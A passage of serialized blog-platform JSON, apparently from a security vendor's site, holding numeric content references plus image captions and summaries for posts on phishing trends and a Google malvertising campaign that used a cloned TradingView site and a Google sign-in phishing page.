pe":866},{},[92438,92442],{"data":92439,"marks":92440,"value":53549,"nodeType":865},{},[92441],{"type":926},{"data":92443,"marks":92444,"value":53553,"nodeType":865},{},[],{"data":92446,"content":92447,"nodeType":1570},{},[92448],{"data":92449,"content":92450,"nodeType":866},{},[92451,92455],{"data":92452,"marks":92453,"value":53564,"nodeType":865},{},[92454],{"type":926},{"data":92456,"marks":92457,"value":53568,"nodeType":865},{},[],{"data":92459,"content":92460,"nodeType":1570},{},[92461],{"data":92462,"content":92463,"nodeType":866},{},[92464,92468,92471,92477],{"data":92465,"marks":92466,"value":53579,"nodeType":865},{},[92467],{"type":926},{"data":92469,"marks":92470,"value":53583,"nodeType":865},{},[],{"data":92472,"content":92473,"nodeType":889},{"uri":40710},[92474],{"data":92475,"marks":92476,"value":53590,"nodeType":865},{},[],{"data":92478,"marks":92479,"value":53594,"nodeType":865},{},[],{"data":92481,"content":92484,"nodeType":912},{"target":92482},{"sys":92483},{"id":53599,"type":909,"linkType":910},[],{"data":92486,"content":92487,"nodeType":972},{},[],{"data":92489,"content":92490,"nodeType":1317},{},[92491],{"data":92492,"marks":92493,"value":699,"nodeType":865},{},[92494],{"type":926},{"data":92496,"content":92497,"nodeType":866},{},[92498],{"data":92499,"marks":92500,"value":53619,"nodeType":865},{},[92501,92502],{"type":926},{"type":943},{"data":92504,"content":92505,"nodeType":866},{},[92506],{"data":92507,"marks":92508,"value":53626,"nodeType":865},{},[],{"data":92510,"content":92513,"nodeType":912},{"target":92511},{"sys":92512},{"id":53631,"type":909,"linkType":910},[],{"data":92515,"content":92516,"nodeType":972},{},[],{"data":92518,"content":92519,"nodeType":981},{},[92520],{"data":92521,"marks":92522,"value":14026,"nodeType":865},{},[92523],{"type":926},{"data":92525,"content":92526,"nodeType":866},{},[92527],{"data":92528,"marks":92529,"value":53649,"nodeType":865},{},[],{"data":92531,"content":92532,"nodeType":866},{},[92533],{"data":92534,"marks":92535,"value":53656,"nodeType":865},{},[],{"data":92537,"content":92538,"nodeType":1616},{},[92539,92558,92577],{"data":92540,"content":92541,"nodeType":1570},{},[92542],{"data":92543,"content":92544,"nodeType":866},{},[92545,92548,92555],{"data":92546,"marks":92547,"value":53669,"nodeType":865},{},[],{"data":92549,"content":92550,"nodeType":889},{"uri":53672},[92551],{"data":92552,"marks":92553,"value":8641,"nodeType":865},{},[92554],{"type":943},{"data":92556,"marks":92557,"value":53681,"nodeType":865},{},[],{"data":92559,"content":92560,"nodeType":1570},{},[92561],{"data":92562,"content":92563,"nodeType":866},{},[92564,92567,92574],{"data":92565,"marks":92566,"value":53691,"nodeType":865},{},[],{"data":92568,"content":92569,"nodeType":889},{"uri":53694},[92570],{"data":92571,"marks":92572,"value":53700,"nodeType":865},{},[92573],{"type":943},{"data":92575,"marks":92576,"value":53681,"nodeType":865},{},[],{"data":92578,"content":92579,"nodeType":1570},{},[92580],{"data":92581,"content":92582,"nodeType":866},{},[92583,92586,92593],{"data":92584,"marks":92585,"value":53713,"nodeType":865},{},[],{"data":92587,"content":92588,"nodeType":889},{"uri":1063},[92589],{"data":92590,"marks":92591,"value":53721,"nodeType":865},{},[92592],{"type":943},{"data":92594,"marks":92595,"value":53681,"nodeType":865},{},[],{"data":92597,"content":92598,"nodeType":866},{},[92599],{"data":92600,"marks":92601,"value":53731,"nodeType":865},{},[],{"data":92603,"content":92604,"nodeType":1616},{},[92605,92618,92631,92644],{"data":92606,"content":92607,"nodeType":1570},{},[92608],{"data":92609,"content":92610,"nodeType":866},{},[92611,92615],{"data":92612,"marks":92613,"value":53745,"nodeType":865},{},[92614],{"type":926},{"data":92616,"marks":92617,"value":53749,"nodeType":865},{},[],{"data":92619,"content":92620,"nodeType":1570},{},[92621],{"data":92622,"content":92623,"nodeType":866},{},[92624,92628],{"data":92625,"marks":92626,"value":53760,"nodeType":865},{},[92627],{"type":926},{"data":92629,"marks":92630,"value":53764,"nodeType":865},{},[],{"data":92632,"content":92633,"nodeType":1570},{},[92634],{"data":92635,"content":92636,"nodeType":866},{},[92637,92641],{"data":92638,"marks":92639,"value":53775,"nodeType":865},{},[92640],{"type":926},{"data":92642,"marks":92643,"value":53779,"nodeType":865},{},[],{"data":92645,"content":92646,"nodeType":1570},{},[92647],{"data":92648,"content":92649,"nodeType":866},{},[92650,92654],{"data":92651,"marks":92652,"value":53790,"nodeType":865},{},[92653],{"type":926},{"data":92655,"marks":92656,"value":53794,"nodeType":865},{},[],{"data":92658,"content":92659,"nodeType":866},{},[92660],{"data":92661,"marks":92662,"value":53801,"nodeType":865},{},[],{"data":92664,"content":92665,"nodeType":972},{},[],{"data":92667,"content":92668,"nodeType":981},{},[92669],{"data":92670,"marks":92671,"value":53812,"nodeType":865},{},[92672],{"type":926},{"data":92674,"content":92675,"nodeType":866},{},[92676],{"data":92677,"marks":92678,"value":53819,"nodeType":865},{},[],{"data":92680,"content":92681,"nodeType":866},{},[92682],{"data":92683,"marks":92684,"value":53826,"nodeType":865},{},[],{"data":92686,"content":92689,"nodeType":912},{"target":92687},{"sys":92688},{"id":53831,"type":909,"linkType":910},[],{"data":92691,"content":92692,"nodeType":972},{},[],{"data":92694,"content":92695,"nodeType":981},{},[92696],{"data":92697,"marks":92698,"value":6331,"nodeType":865},{},[92699],{"type":926},{"data":92701,"content":92702,"nodeType":866},{},[92703],{"data":92704,"marks":92705,"value":53849,"nodeType":865},{},[],{"data":92707,"content":92708,"nodeType":866},{},[92709],{"data":92710,"marks":92711,"value":53856,"nodeType":865},{},[],{"data":92713,"content":92714,"nodeType":866},{},[92715],{"data":92716,"marks":92717,"value":53863,"nodeType":865},{},[],{"data":92719,"content":92720,"nodeType":866},{},[92721,92724,92731,92734,92741],{"data":92722,"marks":92723,"value":11372,"nodeType":865},{},[],{"data":92725,"content":92726,"nodeType":889},{"uri":11375},[92727],{"data":92728,"marks":92729,"value":11381,"nodeType":865},{},[92730],{"type":943},{"data":92732,"marks":92733,"value":53880,"nodeType":865},{},[],{"data":92735,"content":92736,"nodeType":889},{"uri":1372},[92737],{"data":92738,"marks":92739,"value":11405,"nodeType":865},{},[92740],{"type":943},{"data":92742,"marks":92743,"value":1615,"nodeType":865},{},[],{"items":92745},[92746,92748],{"sys":92747,"name":7796},{"id":7795},{"sys":92749,"name":342},{"id":4642},{"items":92751},[92752],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":92753},{"url":7804},"blog/2025-top-phishing-trends",{"json":92756},{"data":92757,"content":92758,"nodeType":1382},{},[92759],{"data":92760,"content":92761,"nodeType":866},{},[92762],{"data":92763,"marks":92764,"value":92765,"nodeType":865},{},[],"Phishing attacks changed a lot through 2025. Here's the top trends from this year and what they mean for security teams heading into 2026. \n",{"id":83609,"publishedAt":92767},"2026-08-12T11:53:25.080Z",{"items":92769},[92770,92772],{"sys":92771,"name":342},{"id":4642},{"sys":92773,"name":7796},{"id":7795},{"items":92775},[92776,92778,92780,92782,92784,92786,92788,92790,92792,92794,92796,92798,92800,92802,92804,92806,92808,92810,92812,92814,92816,92818],{"sys":92777,"name":279,"slug":280,"tier":31},{"id":276},{"sys":92779,"name":413,"slug":414,"tier":31},{"id":410},{"sys":92781,"name":519,"slug":520,"tier":31},{"id":516},{"sys":92783,"name":642,"slug":643,"tier":31},{"id":639},{"sys":92785,"name":342,"slug":343,"tier":31},{"id":339},{"sys":92787,"name":261,"slug":262,"tier":45},{"id":258},{"sys":92789,"name":315,"slug":316,"tier":45},{"id":312},{"sys":92791,"name":324,"slug":325,"tier":45},{"id":321},{"sys":92793,"name":466,"slug":467,"tier":45},{"id":463},{"sys":92795,"name":511,"slug":512,"tier":45},{"id":508},{"sys":92797,"name":440,"slug":441,"tier":45},{"id":437},{"sys":92799,"name":563,"slug":564,"tier":45},{"id":560},{"sys":92801,"name":475,"slug":476,"tier":45},{"id":472},{"sys":92803,"name":607,"slug":608,"tier":45},{"id":604},{"sys":92805,"name":484,"slug":485,"tier":45},{"id":481},{"sys":92807,"name":360,"slug":361,"tier":45},{"id":357},{"sys":92809,"name":288,"slug":289,"tier":45},{"id":285},{"sys":92811,"name":422,"slug":423,"tier":45},{"id":419},{"sys":92813,"name":571,"slug":572,"tier":45},{"id":568},{"sys":92815,"name":431,"slug":432,"tier":45},{"id":428},{"sys":92817,"name":493,"slug":494,"tier":45},{"id":490},{"sys":92819,"name":404,"slug":405,"tier":45},{"id":401},"7YvVxDfBfBbYwky5xPf7erTDCzlAGNd3QktYmRe96W8",{"id":92822,"title":85431,"authorsCollection":92823,"content":92828,"extension":228,"faqItemsCollection":93326,"faqTitle":59,"featured":6,"hashTags":59,"meta":93328,"metaTitle":93329,"ogImage":59,"postType":42959,"publishedDate":85433,"relatedBlogPostsCollection":93330,"slug":85434,"stem":94789,"subtitle":59,"summary":94790,"synopsis":85432,"sys":94801,"tagsCollection":94803,"topicsCollection":94809,"__hash__":94837},"blog/blog/analysing-a-sophisticated-google-malvertising-attack.json",{"items":92824},[92825],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":92826,"profilePicture":92827},[30152],{"url":7804},{"json":92829,"links":93208},{"data":92830,"content":92831,"nodeType":1382},{},[92832,92838,92844,92850,92856,92861,92864,92871,92877,92882,92888,92893,92898,92904,92909,92915,92920,92926,92931,92934,92941,92957,92964,92980,92996,93001,93008,93024,93029,93034,93040,93043,93050,93066,93071,93077,93080,93087,93103,93109,93139,93142,93149,93165,93171,93197,93202],{"data":92833,"content":92834,"nodeType":866},{},[92835],{"data":92836,"marks":92837,"value":85020,"nodeType":865},{},[],{"data":92839,"content":92840,"nodeType":866},{},[92841],{"data":92842,"marks":92843,"value":85027,"nodeType":865},{},[],{"data":92845,"content":92846,"nodeType":866},{},[92847],{"data":92848,"marks":92849,"value":85034,"nodeType":865},{},[],{"data":92851,"content":92852,"nodeType":866},{},[92853],{"data":92854,"marks":92855,"value":85041,"nodeType":865},{},[],{"data":92857,"content":92860,"nodeType":912},{"target":92858},{"sys":92859},{"id":85046,"type":909,"linkType":910},[],{"data":92862,"content":92863,"nodeType":972},{},[],{"data":92865,"content":92866,"nodeType":981},{},[92867],{"data":92868,"marks":92869,"value":70694,"nodeType":865},{},[92870],{"type":926},{"data":92872,"content":92873,"nodeType":866},{},[92874],{"data":92875,"marks":92876,"value":85064,"nodeType":865},{},[],{"data":92878,"content":92881,"nodeType":912},{"target":92879},{"sys":92880},{"id":85069,"type":909,"linkType":910},[],{"data":92883,"content":92884,"nodeType":866},{},[92885],{"data":92886,"marks":92887,"value":85077,"nodeType":865},{},[],{"data":92889,"content":92892,"nodeType":912},{"target":92890},{"sys":92891},{"id":85082,"type":909,"linkType":910},[],{"data":92894,"content":92897,"nodeType":912},{"target":92895},{"sys":92896},{"id":85088,"type":909,"linkType":910},[],{"data":92899,"content":92900,"nodeType":866},{},[92901],{"data":92902,"marks":92903,"value":85096,"nodeType":865},{},[],{"data":92905,"content":92908,"nodeType":912},{"target":92906},{"sys":92907},{"id":85101,"type":909,"linkType":910},[],{"data":92910,"content":92911,"nodeType":866},{},[92912],{"data":92913,"marks":92914,"value":85109,"nodeType":865},{},[],{"data":92916,"content":92919,"nodeType":912},{"target":92917},{"sys":92918},{"id":85114,"type":909,"linkType":910},[],{"data":92921,"content":92922,"nodeType":866},{},[92923],{"data":92924,"marks":92925,"value":85122,"nodeType":865},{},[],{"data":92927,"content":92930,"nodeType":912},{"target":92928},{"sys":92929},{"id":85127,"type":909,"linkType":910},[],{"data":92932,"content":92933,"nodeType":972},{},[],{"data":92935,"content":92936,"nodeType":981},{},[92937],{"data":92938,"marks":92939,"value":85139,"nodeType":865},{},[92940],{"type":926},{"data":92942,"content":92943,"nodeType":866},{},[92944,92947,92954],{"data":92945,"marks":92946,"value":85146,"nodeType":865},{},[],{"data":92948,"content":92949,"nodeType":889},{"uri":8862},[92950],{"data":92951,"marks":92952,"value":8868,"nodeType":865},{},[92953],{"type":943},{"data":92955,"marks":92956,"value":85157,"nodeType":865},{},[],{"data":92958,"content":92959,"nodeType":1317},{},[92960],{"data":92961,"marks":92962,"value":85165,"nodeType":865},{},[92963],{"type":926},{"data":92965,"content":92966,"nodeType":866},{},[92967,92970,92977],{"data":92968,"marks":92969,"value":85172,"nodeType":865},{},[],{"data":92971,"content":92972,"nodeType":889},{"uri":66817},[92973],{"data":92974,"marks":92975,"value":441,"nodeType":865},{},[92976],{"type":943},{"data":92978,"marks":92979,"value":85183,"nodeType":865},{},[],{"data":92981,"content":92982,"nodeType":866},{},[92983,92986,92993],{"data":92984,"marks":92985,"value":85190,"nodeType":865},{},[],{"data":92987,"content":92988,"nodeType":889},{"uri":4991},[92989],{"data":92990,"marks":92991,"value":8673,"nodeType":865},{},[92992],{"type":943},{"data":92994,"marks":92995,"value":85201,"nodeType":865},{},[],{"data":92997,"content":93000,"nodeType":912},{"target":92998},{"sys":92999},{"id":85206,"type":909,"linkType":910},[],{"data":93002,"content":93003,"nodeType":1317},{},[93004],{"data":93005,"marks":93006,"value":85215,"nodeType":865},{},[93007],{"type":926},{"data":93009,"content":93010,"nodeType":866},{},[93011,93014,93021],{"data":93012,"marks":93013,"value":85222,"nodeType":865},{},[],{"data":93015,"content":93016,"nodeType":889},{"uri":66627},[93017],{"data":93018,"marks":93019,"value":66633,"nodeType":865},{},[93020],{"type":943},{"data":93022,"marks":93023,"value":85233,"nodeType":865},{},[],{"data":93025,"content":93028,"nodeType":912},{"target":93026},{"sys":93027},{"id":85238,"type":909,"linkType":910},[],{"data":93030,"content":93033,"nodeType":912},{"target":93031},{"sys":93032},{"id":85244,"type":909,"linkType":910},[],{"data":93035,"content":93036,"nodeType":866},{},[93037],{"data":93038,"marks":93039,"value":85252,"nodeType":865},{},[],{"data":93041,"content":93042,"nodeType":972},{},[],{"data":93044,"content":93045,"nodeType":981},{},[93046],{"data":93047,"marks":93048,"value":85263,"nodeType":865},{},[93049],{"type":926},{"data":93051,"content":93052,"nodeType":866},{},[93053,93056,93063],{"data":93054,"marks":93055,"value":21,"nodeType":865},{},[],{"data":93057,"content":93058,"nodeType":889},{"uri":85272},[93059],{"data":93060,"marks":93061,"value":85278,"nodeType":865},{},[93062],{"type":943},{"data":93064,"marks":93065,"value":85282,"nodeType":865},{},[],{"data":93067,"content":93070,"nodeType":912},{"target":93068},{"sys":93069},{"id":85287,"type":909,"linkType":910},[],{"data":93072,"content":93073,"nodeType":866},{},[93074],{"data":93075,"marks":93076,"value":85295,"nodeType":865},{},[],{"data":93078,"content":93079,"nodeType":972},{},[],{"data":93081,"content":93082,"nodeType":981},{},[93083],{"data":93084,"marks":93085,"value":67181,"nodeType":865},{},[93086],{"type":926},{"data":93088,"content":93089,"nodeType":866},{},[93090,93093,93100],{"data":93091,"marks":93092,"value":44799,"nodeType":865},{},[],{"data":93094,"content":93095,"nodeType":889},{"uri":38042},[93096],{"data":93097,"marks":93098,"value":38047,"nodeType":865},{},[93099],{"type":943},{"data":93101,"marks":93102,"value":67198,"nodeType":865},{},[],{"data":93104,"content":93105,"nodeType":866},{},[93106],{"data":93107,"marks":93108,"value":70995,"nodeType":865},{},[],{"data":93110,"content":93111,"nodeType":1616},{},[93112,93121,93130],{"data":93113,"content":93114,"nodeType":1570},{},[93115],{"data":93116,"content":93117,"nodeType":866},{},[93118],{"data":93119,"marks":93120,"value":85340,"nodeType":865},{},[],{"data":93122,"content":93123,"nodeType":1570},{},[93124],{"data":93125,"content":93126,"nodeType":866},{},[93127],{"data":93128,"marks":93129,"value":85350,"nodeType":865},{},[],{"data":93131,"content":93132,"nodeType":1570},{},[93133],{"data":93134,"content":93135,"nodeType":866},{},[93136],{"data":93137,"marks":93138,"value":85360,"nodeType":865},{},[],{"data":93140,"content":93141,"nodeType":972},{},[],{"data":93143,"content":93144,"nodeType":981},{},[93145],{"data":93146,"marks":93147,"value":67289,"nodeType":865},{},[93148],{"type":926},{"data":93150,"content":93151,"nodeType":866},{},[93152,93155,93162],{"data":93153,"marks":93154,"value":67309,"nodeType":865},{},[],{"data":93156,"content":93157,"nodeType":889},{"uri":8862},[93158],{"data":93159,"marks":93160,"value":67317,"nodeType":865},{},[93161],{"type":943},{"data":93163,"marks":93164,"value":67321,"nodeType":865},{},[],{"data":93166,"content":93167,"nodeType":866},{},[93168],{"data":93169,"marks":93170,"value":85393,"nodeType":865},{},[],{"data":93172,"content":93173,"nodeType":866},{},[93174,93177,93184,93187,93194],{"data":93175,"marks":93176,"value":11372,"nodeType":865},{},[],{"data":93178,"content":93179,"nodeType":889},{"uri":11375},[93180],{"data":93181,"marks":93182,"value":11381,"nodeType":865},{},[93183],{"type":943},{"data":93185,"marks":93186,"value":53880,"nodeType":865},{},[],{"data":93188,"content":93189,"nodeType":889},{"uri":1372},[93190],{"data":93191,"marks":93192,"value":11405,"nodeType":865},{},[93193],{"type":943},{"data":93195,"marks":93196,"value":1615,"nodeType":865},{},[],{"data":93198,"content":93201,"nodeType":912},{"target":93199},{"sys":93200},{"id":67359,"type":909,"linkType":910},[],{"data":93203,"content":93204,"nodeType":866},{},[93205],{"data":93206,"marks":93207,"value":21,"nodeType":865},{},[],{"entries":93209},{"hyperlink":93210,"inline":93211,"block":93212},[],[],[93213,93217,93223,93228,93234,93239,93244,93251,93307,93311,93317,93324],{"sys":93214,"__typename":52243,"title":93215,"arcadeDemoUrl":93216,"playText":59377},{"id":85046},"TradingView Malvertising Attack Walkthrough","https://demo.arcade.software/EIVP2emVADsDxut9CZjO?embed",{"sys":93218,"__typename":1390,"title":93219,"caption":93219,"layoutMode":59,"file":93220},{"id":85069},"Initial landing page used as a redirect. This looks similar to many vibe coded sites used by attackers as part of their malvertising and phishing link chains. ",{"url":93221,"width":1402,"height":93222},"https://images.ctfassets.net/y1cdw1ablpvd/2hBe7jYE9VEuAeICiV0yfU/642f74f4212c238e06090c256c9408bf/image5.png",1204,{"sys":93224,"__typename":1390,"title":93225,"caption":93225,"layoutMode":59,"file":93226},{"id":85082},"Cloned TradingView site.",{"url":93227,"width":1402,"height":93222},"https://images.ctfassets.net/y1cdw1ablpvd/71PIYOQpNCGqP35OOeOg44/0823d6231bc3ab492da47436e985025e/image7.png",{"sys":93229,"__typename":1390,"title":93230,"caption":93230,"layoutMode":59,"file":93231},{"id":85088},"The cloned TradingView site is almost identical to the real site.",{"url":93232,"width":1402,"height":93233},"https://images.ctfassets.net/y1cdw1ablpvd/5MLctABFj0A38eIBtaZCAg/b420ac0c7e9b04f55f1b76a80627b373/image8.png",613,{"sys":93235,"__typename":1390,"title":93236,"caption":93236,"layoutMode":59,"file":93237},{"id":85101},"Convincing page prompting the victim to sign in with Google. ",{"url":93238,"width":1402,"height":93222},"https://images.ctfassets.net/y1cdw1ablpvd/1hBfWMM1qhV7rKbwuieCB8/5ce3047801ac23b777fd6ae5ff03d7f4/image4.png",{"sys":93240,"__typename":1390,"title":93241,"caption":93241,"layoutMode":59,"file":93242},{"id":85114},"Attacker-in-the-Middle phishing page targeting Google. ",{"url":93243,"width":1402,"height":93222},"https://images.ctfassets.net/y1cdw1ablpvd/192mknDIa1Cr7uVyjW0msk/ba0c0f272cac424e50ff0ad5a3eeb84e/image3.png",{"sys":93245,"__typename":1390,"title":93246,"caption":93246,"layoutMode":59,"file":93247},{"id":85127},"Push’s timeline of URLs and user actions throughout the phishing attack chain.",{"url":93248,"width":93249,"height":93250},"https://images.ctfassets.net/y1cdw1ablpvd/1JoNJ3qxJgcpXZ4gBI5NeS/f52878e53e7b647e8258f6991b8bfb1d/image6.png",1820,1130,{"sys":93252,"__typename":5503,"content":93253,"name":93306,"title":59},{"id":85206},{"json":93254},{"data":93255,"content":93256,"nodeType":1382},{},[93257,93287],{"data":93258,"content":93259,"nodeType":866},{},[93260,93264,93272,93276,93284],{"data":93261,"marks":93262,"value":93263,"nodeType":865},{},[],"We’ve noticed a significant ",{"data":93265,"content":93266,"nodeType":889},{"uri":70612},[93267],{"data":93268,"marks":93269,"value":93271,"nodeType":865},{},[93270],{"type":943},"increase in malvertising attacks",{"data":93273,"marks":93274,"value":93275,"nodeType":865},{},[]," for the delivery of phishing links, malware downloads, and ClickFix-style attacks (",{"data":93277,"content":93278,"nodeType":889},{"uri":14355},[93279],{"data":93280,"marks":93281,"value":93283,"nodeType":865},{},[93282],{"type":943},"4 in 5 ClickFix attacks intercepted by Push were delivered via Google Search",{"data":93285,"marks":93286,"value":46245,"nodeType":865},{},[],{"data":93288,"content":93289,"nodeType":866},{},[93290,93294,93302],{"data":93291,"marks":93292,"value":93293,"nodeType":865},{},[],"At the same time, ",{"data":93295,"content":93296,"nodeType":889},{"uri":70635},[93297],{"data":93298,"marks":93299,"value":93301,"nodeType":865},{},[93300],{"type":943},"attacks targeting ad management accounts",{"data":93303,"marks":93304,"value":93305,"nodeType":865},{},[]," used to propagate malicious ads are also on the rise, indicating that this is an area of focus for attackers.","Google malvertising blog insight box 1",{"sys":93308,"__typename":1390,"title":93309,"caption":93309,"layoutMode":59,"file":93310},{"id":85238},"Loading the initial URL directly serves up a benign website rather than redirecting to the next stage in the phishing chain.",{"url":93221,"width":1402,"height":93222},{"sys":93312,"__typename":1390,"title":93313,"caption":93313,"layoutMode":59,"file":93314},{"id":85244},"Attempting to manually load the second site in the phishing chain results in access being denied, where conditional loading parameters are missing.",{"url":93315,"width":1402,"height":93316},"https://images.ctfassets.net/y1cdw1ablpvd/16FOwZxxctoxktnsj9y0Rk/35de320ebb1163758bfa899020766b88/image2.png",1095,{"sys":93318,"__typename":1390,"title":93319,"caption":93319,"layoutMode":59,"file":93320},{"id":85287},"TradingView ClickFix lure reported by Bleeping Computer.",{"url":93321,"width":93322,"height":93323},"https://images.ctfassets.net/y1cdw1ablpvd/5aQwcuSaJTqHma3pOPoijI/14515ddb907526c8d2867275f3f4e164/image1.png",688,525,{"sys":93325,"__typename":1414,"type":1415,"ctaText":90651,"buttonLabel":68733,"buttonColour":1418,"buttonUrl":90586},{"id":67359},{"items":93327},[],{},"Analysing a sophisticated Google malvertising attack",{"items":93331},[93332,93680,94200],{"__typename":1429,"sys":93333,"content":93334,"title":85818,"synopsis":85819,"hashTags":59,"publishedDate":85820,"slug":85821,"tagsCollection":93670,"authorsCollection":93676},{"id":79669},{"json":93335},{"data":93336,"content":93337,"nodeType":1382},{},[93338,93345,93351,93356,93362,93392,93398,93403,93409,93414,93419,93424,93429,93434,93437,93444,93450,93456,93462,93469,93474,93490,93496,93512,93517,93520,93527,93533,93599,93605,93608,93615,93621,93627,93633,93659,93664],{"data":93339,"content":93340,"nodeType":981},{},[93341],{"data":93342,"marks":93343,"value":70694,"nodeType":865},{},[93344],{"type":926},{"data":93346,"content":93347,"nodeType":866},{},[93348],{"data":93349,"marks":93350,"value":85464,"nodeType":865},{},[],{"data":93352,"content":93355,"nodeType":912},{"target":93353},{"sys":93354},{"id":85469,"type":909,"linkType":910},[],{"data":93357,"content":93358,"nodeType":866},{},[93359],{"data":93360,"marks":93361,"value":85477,"nodeType":865},{},[],{"data":93363,"content":93364,"nodeType":1616},{},[93365,93374,93383],{"data":93366,"content":93367,"nodeType":1570},{},[93368],{"data":93369,"content":93370,"nodeType":866},{},[93371],{"data":93372,"marks":93373,"value":85490,"nodeType":865},{},[],{"data":93375,"content":93376,"nodeType":1570},{},[93377],{"data":93378,"content":93379,"nodeType":866},{},[93380],{"data":93381,"marks":93382,"value":85500,"nodeType":865},{},[],{"data":93384,"content":93385,"nodeType":1570},{},[93386],{"data":93387,"content":93388,"nodeType":866},{},[93389],{"data":93390,"marks":93391,"value":85510,"nodeType":865},{},[],{"data":93393,"content":93394,"nodeType":866},{},[93395],{"data":93396,"marks":93397,"value":85517,"nodeType":865},{},[],{"data":93399,"content":93402,"nodeType":912},{"target":93400},{"sys":93401},{"id":85522,"type":909,"linkType":910},[],{"data":93404,"content":93405,"nodeType":866},{},[93406],{"data":93407,"marks":93408,"value":85530,"nodeType":865},{},[],{"data":93410,"content":93413,"nodeType":912},{"target":93411},{"sys":93412},{"id":85535,"type":909,"linkType":910},[],{"data":93415,"content":93418,"nodeType":912},{"target":93416},{"sys":93417},{"id":85541,"type":909,"linkType":910},[],{"data":93420,"content":93423,"nodeType":912},{"target":93421},{"sys":93422},{"id":85547,"type":909,"linkType":910},[],{"data":93425,"content":93428,"nodeType":912},{"target":93426},{"sys":93427},{"id":85553,"type":909,"linkType":910},[],{"data":93430,"content":93433,"nodeType":912},{"target":93431},{"sys":93432},{"id":85559,"type":909,"linkType":910},[],{"data":93435,"content":93436,"nodeType":972},{},[],{"data":93438,"content":93439,"nodeType":981},{},[93440],{"data":93441,"marks":93442,"value":85571,"nodeType":865},{},[93443],{"type":926},{"data":93445,"content":93446,"nodeType":866},{},[93447],{"data":93448,"marks":93449,"value":85578,"nodeType":865},{},[],{"data":93451,"content":93452,"nodeType":866},{},[93453],{"data":93454,"marks":93455,"value":85585,"nodeType":865},{},[],{"data":93457,"content":93458,"nodeType":866},{},[93459],{"data":93460,"marks":93461,"value":85592,"nodeType":865},{},[],{"data":93463,"content":93464,"nodeType":866},{},[93465],{"data":93466,"marks":93467,"value":85600,"nodeType":865},{},[93468],{"type":926},{"data":93470,"content":93473,"nodeType":912},{"target":93471},{"sys":93472},{"id":85605,"type":909,"linkType":910},[],{"data":93475,"content":93476,"nodeType":866},{},[93477,93480,93487],{"data":93478,"marks":93479,"value":85613,"nodeType":865},{},[],{"data":93481,"content":93482,"nodeType":889},{"uri":14355},[93483],{"data":93484,"marks":93485,"value":315,"nodeType":865},{},[93486],{"type":943},{"data":93488,"marks":93489,"value":85624,"nodeType":865},{},[],{"data":93491,"content":93492,"nodeType":866},{},[93493],{"data":93494,"marks":93495,"value":85631,"nodeType":865},{},[],{"data":93497,"content":93498,"nodeType":866},{},[93499,93502,93509],{"data":93500,"marks":93501,"value":85638,"nodeType":865},{},[],{"data":93503,"content":93504,"nodeType":889},{"uri":4991},[93505],{"data":93506,"marks":93507,"value":8673,"nodeType":865},{},[93508],{"type":943},{"data":93510,"marks":93511,"value":85201,"nodeType":865},{},[],{"data":93513,"content":93516,"nodeType":912},{"target":93514},{"sys":93515},{"id":67359,"type":909,"linkType":910},[],{"data":93518,"content":93519,"nodeType":972},{},[],{"data":93521,"content":93522,"nodeType":981},{},[93523],{"data":93524,"marks":93525,"value":67181,"nodeType":865},{},[93526],{"type":926},{"data":93528,"content":93529,"nodeType":866},{},[93530],{"data":93531,"marks":93532,"value":85670,"nodeType":865},{},[],{"data":93534,"content":93535,"nodeType":1616},{},[93536,93545,93554,93563,93572,93581,93590],{"data":93537,"content":93538,"nodeType":1570},{},[93539],{"data":93540,"content":93541,"nodeType":866},{},[93542],{"data":93543,"marks":93544,"value":85683,"nodeType":865},{},[],{"data":93546,"content":93547,"nodeType":1570},{},[93548],{"data":93549,"content":93550,"nodeType":866},{},[93551],{"data":93552,"marks":93553,"value":85693,"nodeType":865},{},[],{"data":93555,"content":93556,"nodeType":1570},{},[93557],{"data":93558,"content":93559,"nodeType":866},{},[93560],{"data":93561,"marks":93562,"value":85703,"nodeType":865},{},[],{"data":93564,"content":93565,"nodeType":1570},{},[93566],{"data":93567,"content":93568,"nodeType":866},{},[93569],{"data":93570,"marks":93571,"value":85713,"nodeType":865},{},[],{"data":93573,"content":93574,"nodeType":1570},{},[93575],{"data":93576,"content":93577,"nodeType":866},{},[93578],{"data":93579,"marks":93580,"value":85723,"nodeType":865},{},[],{"data":93582,"content":93583,"nodeType":1570},{},[93584],{"data":93585,"content":93586,"nodeType":866},{},[93587],{"data":93588,"marks":93589,"value":85733,"nodeType":865},{},[],{"data":93591,"content":93592,"nodeType":1570},{},[93593],{"data":93594,"content":93595,"nodeType":866},{},[93596],{"data":93597,"marks":93598,"value":85743,"nodeType":865},{},[],{"data":93600,"content":93601,"nodeType":866},{},[93602],{"data":93603,"marks":93604,"value":85750,"nodeType":865},{},[],{"data":93606,"content":93607,"nodeType":972},{},[],{"data":93609,"content":93610,"nodeType":981},{},[93611],{"data":93612,"marks":93613,"value":67289,"nodeType":865},{},[93614],{"type":926},{"data":93616,"content":93617,"nodeType":866},{},[93618],{"data":93619,"marks":93620,"value":85767,"nodeType":865},{},[],{"data":93622,"content":93623,"nodeType":866},{},[93624],{"data":93625,"marks":93626,"value":85774,"nodeType":865},{},[],{"data":93628,"content":93629,"nodeType":866},{},[93630],{"data":93631,"marks":93632,"value":70936,"nodeType":865},{},[],{"data":93634,"content":93635,"nodeType":866},{},[93636,93639,93646,93649,93656],{"data":93637,"marks":93638,"value":11372,"nodeType":865},{},[],{"data":93640,"content":93641,"nodeType":889},{"uri":11375},[93642],{"data":93643,"marks":93644,"value":11381,"nodeType":865},{},[93645],{"type":943},{"data":93647,"marks":93648,"value":53880,"nodeType":865},{},[],{"data":93650,"content":93651,"nodeType":889},{"uri":1372},[93652],{"data":93653,"marks":93654,"value":11405,"nodeType":865},{},[93655],{"type":943},{"data":93657,"marks":93658,"value":1615,"nodeType":865},{},[],{"data":93660,"content":93663,"nodeType":912},{"target":93661},{"sys":93662},{"id":67359,"type":909,"linkType":910},[],{"data":93665,"content":93666,"nodeType":866},{},[93667],{"data":93668,"marks":93669,"value":21,"nodeType":865},{},[],{"items":93671},[93672,93674],{"sys":93673,"name":342},{"id":4642},{"sys":93675,"name":7796},{"id":7795},{"items":93677},[93678],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":93679},{"url":7804},{"__typename":1429,"sys":93681,"content":93682,"title":36710,"synopsis":86410,"hashTags":59,"publishedDate":85820,"slug":36711,"tagsCollection":94190,"authorsCollection":94196},{"id":33852},{"json":93683},{"data":93684,"content":93685,"nodeType":1382},{},[93686,93692,93698,93704,93709,93715,93718,93725,93731,93737,93743,93748,93754,93759,93765,93770,93776,